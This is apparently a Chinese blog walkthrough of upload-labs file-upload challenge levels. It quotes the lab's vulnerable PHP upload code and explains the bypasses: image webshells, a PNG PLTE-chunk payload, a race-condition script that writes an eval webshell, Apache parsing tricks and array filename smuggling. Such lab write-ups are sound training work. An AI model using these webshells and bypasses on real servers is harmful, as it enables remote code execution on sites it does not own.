赞
踩
首先需要在本机环境中开启php_exif扩展,否则将会提示如下错误:
开启php_exif扩展方法详见这篇博客。
分别去掉php_mbstring、php_exif
扩展的注释,再将exif
块的注释全部清除,此时再执行相应的代码。
从代码可以看到,本关主要考查exif_imagetype($filename)
函数的使用,首先了解一下exif_imagetype
函数。
exif_imagetype()
读取一个图像的第一个字节并检查其签名。 返回值和getimagesize()
返回的数组中的索引 2 的值是一样的,但本函数快得多。
常见的返回值有:
1 IMAGETYPE_GIF
2 IMAGETYPE_JPEG
3 IMAGETYPE_PNG
4 IMAGETYPE_SWF
5 IMAGETYPE_PSD
6 IMAGETYPE_BMP
例如选择一张jpg
类型的图片上传,返回值应为2
本关代码为:
function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
由于只检查第一个字节,因此我们使用copy /b 1.png+test.php upload.png
生成的图片马尝试绕过。
move_uploaded_file(string $filename, string $destination): bool
本函数检查并确保由 filename 指定的文件是合法的上传文件(即通过 PHP 的HTTP POST
上传机制所上传的)。如果文件合法,则将其移动为由destination
指定的文件。
imagecreatefromgif(string $filename): resource
imagecreatefromgif()
返回一图像标识符,代表了从给定的文件名取得的图像。 成功后返回图象对象,失败后返回 false。
imagepng(resource $image, string $filename = ?): bool
imagepng()
将 GD 图像流(image)以 PNG 格式输出到标准输出(通常为浏览器),或者如果用filename
给出了文件名则将其输出到该文件。
在这里把每张用户上传的图片都重新生成了,也就是类似于生成缩略图的方式,我们首先使用正常的图片马,上传后下载下来,看看被代码重新生成的文件与源文件有什么不同。
使用010edit的比较功能。
使用GIF成功的可能性更大,灰色的部分即为相等的部分,因此将要插入的话包含在灰色部分即可。
插入后上传可成功访问。
而png和jpg相对而言都较难成功, 这里参考了国光的文件上传靶场知识总结的部分内容。
引用他人的项目hxer /imagecreatefrom实现。
使用命令
python poc_png.py -p "<?php @eval($_REQUEST[1]); ?>" -o test.png indexcolor.png
生成带有payload的文件。上传渲染后使用010edit打开。发现payload仍然存在,数据在PLTE
块中。
而jpg 的渲染图片马我的环境中一直无法成功,后期再进行学习。
代码如下:
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }
在本关中所有符合条件的上传的文件都会被 rename
,所有不符合条件的伤处啊都会被unlink,因此上传的文件内容应该为:
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
这里内容pass使用1而不使用字符串也是为了避免引号问题。
首先在未unlink之前将生成木马文件的脚本上传,然后在删除之前访问即可。
抓取上传文件的数据包。
发送到Intruder
模块,选择空载荷和无限期的重复。
开始攻击后可以发现upload
目录下的test
文件会闪烁存在,但时间很短,因此需要抓取一个访问test.php
的数据包,重复以上操作。
当状态码由404变为200时,文件已经写入成功了。
访问shell文件成功执行。
这里也是需要用到条件竞争,先使用上面的脚本。
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
根据代码可知,上传的文件必须在以下后缀名中。
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
根据Apache解析漏洞规则,无法被解析的文件名会向前解析,因此需要找到一个不被解析的白名单后缀。
且其他zip、ppt、xml等后缀名要么不被重命名,要么直接下载或被解析, 无法完成访问,只有7z不被解析也不会被下载。
此时上传test.php.7z
,但会被重命名,因此要在重命名之前上传并访问他。
使用18关的方法上传并访问即可。
当move_uploaded_file($temp_file, $img_path)
中的path
可控时,不仅在一定的条件下可以使用%00
截断,还可以使用/.
使其忽略后面的内容,从而上传恶意文件。
将保存文件的路径修改为/.
结尾即可。访问。
http://127.0.0.1/upload-labs/upload/upload-19.php/
代码如下:
$is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //检查文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; }
根据三目运算符的含义
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
即为优先取我们传递的save_name,只有save_name为空时才会使用本身的名字。
再使用
if (!is_array($file)) {
$file = explode('.', strtolower($file));}
将文件名以点.
分割为数组。
使用$ext = end($file);
函数取最后一个元素为后缀名。
使用reset($file) . '.' . $file[count($file) - 1];
将文件名以最后一个元素为后缀重新命名。
当我们传入0=>'test.php',2=>'png'
这样一个file时,各部分的输出为:
可以看到满足了本关中后缀的检查、也生成了新的php类型文件。
因此在数据包中构造如下。
访问即可成功执行命令。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。